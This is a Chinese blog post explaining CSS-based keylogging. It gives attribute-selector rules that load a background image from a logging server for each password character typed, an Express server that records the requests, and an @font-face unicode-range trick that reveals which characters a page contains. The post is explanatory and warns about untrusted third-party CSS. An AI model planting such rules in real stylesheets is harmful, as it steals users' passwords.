1. 程式人生 > >前端之CSS攻擊:記錄使用者密碼

前端之CSS攻擊:記錄使用者密碼

單的CSS程式碼,甚至不符合圖靈完備的語言,但是也能成為一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄使用者的密碼。但是這些CSS指令碼會出現在第三方CSS庫中,所以使用第三方CSS庫也需要謹慎,確保程式碼安全。

直接上程式碼解析:

input[type="password"][value$="0"] { 
 background-image: url("http://localhost:3000/0"); } 
 input[type="password"][value$="1"] { 
 background-image: url("http://localhost:3000/1"); } input[type="password"
][value$="2"] { background-image: url("http://localhost:3000/2"); }

以上是部分程式碼,我們來解析一下CSS程式碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框,[value$="0"]表示匹配輸入的值是以0結尾的。

所以:

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }

上面程式碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0介面,但是瀏覽器預設情況下是不會將使用者輸入的值儲存在value屬性中,但是有的框架會同步這些值,例如React。所以只要使用瞭如下圖的指令碼就能去儲存使用者的輸入資料資訊。

我們再來看一下伺服器端的程式碼:

const express = require("express"); const app = express(); 
app.get("/:key", (req, res) => { process.stdout.write(req.params.key); 
return res.sendStatus(400); }); app.listen(3000, () => console.log("啟動,監聽3000埠"));

用express建立伺服器,監聽3000埠,只要請求http://localhost:3000/:key,就能輸出key的值,就能在伺服器上記錄輸入的值。所以只要在每輸入一個值都匹配,然後通過 background-image 去請求一個已經準備好的介面,就能記錄使用者的輸入。

正在學習web前端的小夥伴可以加入我的web前端學習交流群:575308719,不定期分享乾貨,還有整理好的2018最新精品學習教程一套分享哦!

類似的方法記錄使用者的內容的CSS程式碼

@font-face { font-family: blah; 
src: url('http://localhost:3000/a') format('woff'); 
unicode-range: U+85; } html { font-family: blah, sans-serif; }

你使用的的css的簡單的字型庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字元。